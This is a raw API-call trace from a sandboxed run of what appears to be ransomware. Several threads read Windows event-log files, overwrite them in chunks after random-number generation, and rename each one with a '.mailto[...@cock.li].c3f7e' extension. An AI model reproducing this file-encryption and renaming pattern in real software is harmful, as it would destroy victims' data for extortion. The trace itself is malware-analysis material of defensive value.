	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0084.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4925900
	[0084.796] wcscpy (in: _Dest=0x4925900, _Source="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx"
	[0084.796] wcscat (in: _Dest=0x4925900, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfbbf948, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.796] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x477c458
	[0084.796] NtSetInformationFile (FileHandle=0x141c, IoStatusBlock=0xfbbf940, FileInformation=0x477c458, Length=0xd0, FileInformationClass=0xa) returned 0x0
	[0087.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c458) returned 1
	[0087.782] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea200) returned 1
	[0087.782] NtQueryInformationFile (in: FileHandle=0x141c, IoStatusBlock=0xfbbf954, FileInformation=0xfbbf92c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfbbf954, FileInformation=0xfbbf92c) returned 0x0
	[0087.782] NtSetInformationFile (FileHandle=0x141c, IoStatusBlock=0xfbbf954, FileInformation=0xfbbf92c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.793] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925900) returned 1
	[0087.793] FlushFileBuffers (hFile=0x141c) returned 1
	[0092.885] CloseHandle (hObject=0x141c) 

Thread:
	id = 375
	os_tid = 0x1504

	[0076.915] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0081.493] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", dwFileAttributes=0x20) returned 1
	[0081.509] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1428
	[0081.509] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0xfc3fbd8 | out: lpFileSize=0xfc3fbd8*=1052672) returned 1
	[0081.509] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.510] ReadFile (in: hFile=0x1428, lpBuffer=0xfc3fb5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfc3fb58, lpOverlapped=0x0 | out: lpBuffer=0xfc3fb5c*, lpNumberOfBytesRead=0xfc3fb58*=0x4, lpOverlapped=0x0) returned 1
	[0081.518] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.518] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.518] NtQuerySystemTime (in: CurrentTime=0xfc3fb38 | out: CurrentTime=0xfc3fb38*=132251868082496980) returned 0x0
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x125469f8
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x4e9d3c99
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x8e23d6fc
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x594fd47f
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x36c22eaf
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xc8793199
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xa22188e7
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xc72cc559
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xce5a2e18
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x3e0e3913
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x108c99fb
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x57a77a37
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x17765048
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x9d8a3733
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x721f60cd
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xdce916c6
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xaec30509
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x66278608
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xe1af3e3e
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xd6cb1c9c
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xbca56634
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x9bf04816
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x88fd6844
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xed6e6151
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x8d7bfacd
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x8abbcd49
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xe0dda37e
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xcd09c9e
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x7f36c091
	[0081.518] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x9e330c82
	[0081.519] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0xfb24cab5
	[0081.519] RtlRandom (in: Seed=0xfc3fb44 | out: Seed=0xfc3fb44) returned 0x77c25c10
	[0081.525] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0081.527] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.527] ReadFile (in: hFile=0x1428, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.530] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.531] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.532] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.532] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.532] WriteFile (in: hFile=0x1428, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.534] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.534] ReadFile (in: hFile=0x1428, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.535] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x89800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.535] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.535] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.535] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.594] WriteFile (in: hFile=0x1428, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.595] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.595] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.595] ReadFile (in: hFile=0x1428, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.597] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0xf4800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaad8
	[0081.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0081.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.597] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0081.598] WriteFile (in: hFile=0x1428, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfc3faf0, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0xfc3faf0*=0xc800, lpOverlapped=0x0) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780570
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e04978
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaa00
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e049f0
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e04360
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.599] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c58
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c58) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e049f0) returned 1
	[0081.599] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0081.600] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x191) returned 0x2e02570
	[0081.600] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.600] WriteFile (in: hFile=0x1428, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x191, lpNumberOfBytesWritten=0xfc3fb98, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0xfc3fb98*=0x191, lpOverlapped=0x0) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780570) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x476b528
	[0081.602] wcscpy (in: _Dest=0x476b528, _Source="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx"
	[0081.602] wcscat (in: _Dest=0x476b528, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.602] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfc3fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.602] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x46a5cc8
	[0081.602] NtSetInformationFile (FileHandle=0x1428, IoStatusBlock=0xfc3fb48, FileInformation=0x46a5cc8, Length=0xce, FileInformationClass=0xa) returned 0x0
	[0087.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5cc8) returned 1
	[0087.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476cab8) returned 1
	[0087.876] NtQueryInformationFile (in: FileHandle=0x1428, IoStatusBlock=0xfc3fb5c, FileInformation=0xfc3fb34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfc3fb5c, FileInformation=0xfc3fb34) returned 0x0
	[0087.876] NtSetInformationFile (FileHandle=0x1428, IoStatusBlock=0xfc3fb5c, FileInformation=0xfc3fb34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0089.066] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b528) returned 1
	[0089.068] FlushFileBuffers (hFile=0x1428) returned 1
	[0093.263] CloseHandle (hObject=0x1428) 

Thread:
	id = 376
	os_tid = 0x1508

	[0076.916] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx")) returned 0x20
	[0080.461] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.462] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a4
	[0080.462] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0xfcbfee0 | out: lpFileSize=0xfcbfee0*=69632) returned 1
	[0080.462] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.462] ReadFile (in: hFile=0x9a4, lpBuffer=0xfcbfe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfcbfe60, lpOverlapped=0x0 | out: lpBuffer=0xfcbfe64*, lpNumberOfBytesRead=0xfcbfe60*=0x4, lpOverlapped=0x0) returned 1
	[0080.612] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47818c8
	[0080.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47819e0
	[0080.612] NtQuerySystemTime (in: CurrentTime=0xfcbfe40 | out: CurrentTime=0xfcbfe40*=132251868073432520) returned 0x0
	[0080.612] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x529b60b2
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x2da08653
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x7a495c00
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xb08b19c4
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x6152c3ab
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xae898c9c
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xe29aa53
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x354c09a1
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xd9a7524e
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xf68fb11
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x9ce4fe87
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x26d07823
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xcd8e02e0
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xc2bf9476
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x3983edd0
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xb3be79ed
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xf4842102
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x6d52e1fa
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x9c47d9fd
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x9c633c21
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x61668fc
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xe0180489
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x8142248f
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x17f448dc
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x4f6078c3
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xfcba1fde
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xa0fd54f
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xf45b2e6d
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x147043fd
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0x89d89aa6
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xd2bc5d4e
	[0080.613] RtlRandom (in: Seed=0xfcbfe4c | out: Seed=0xfcbfe4c) returned 0xee4f3674
	[0080.620] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a08
	[0080.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34550
	[0080.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819e0) returned 1
	[0080.622] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e59878
	[0080.625] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.625] ReadFile (in: hFile=0x9a4, lpBuffer=0x4e59878, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfcbfe20, lpOverlapped=0x0 | out: lpBuffer=0x4e59878*, lpNumberOfBytesRead=0xfcbfe20*=0xc800, lpOverlapped=0x0) returned 1
	[0081.025] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.025] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e40868
	[0081.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33960
	[0081.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
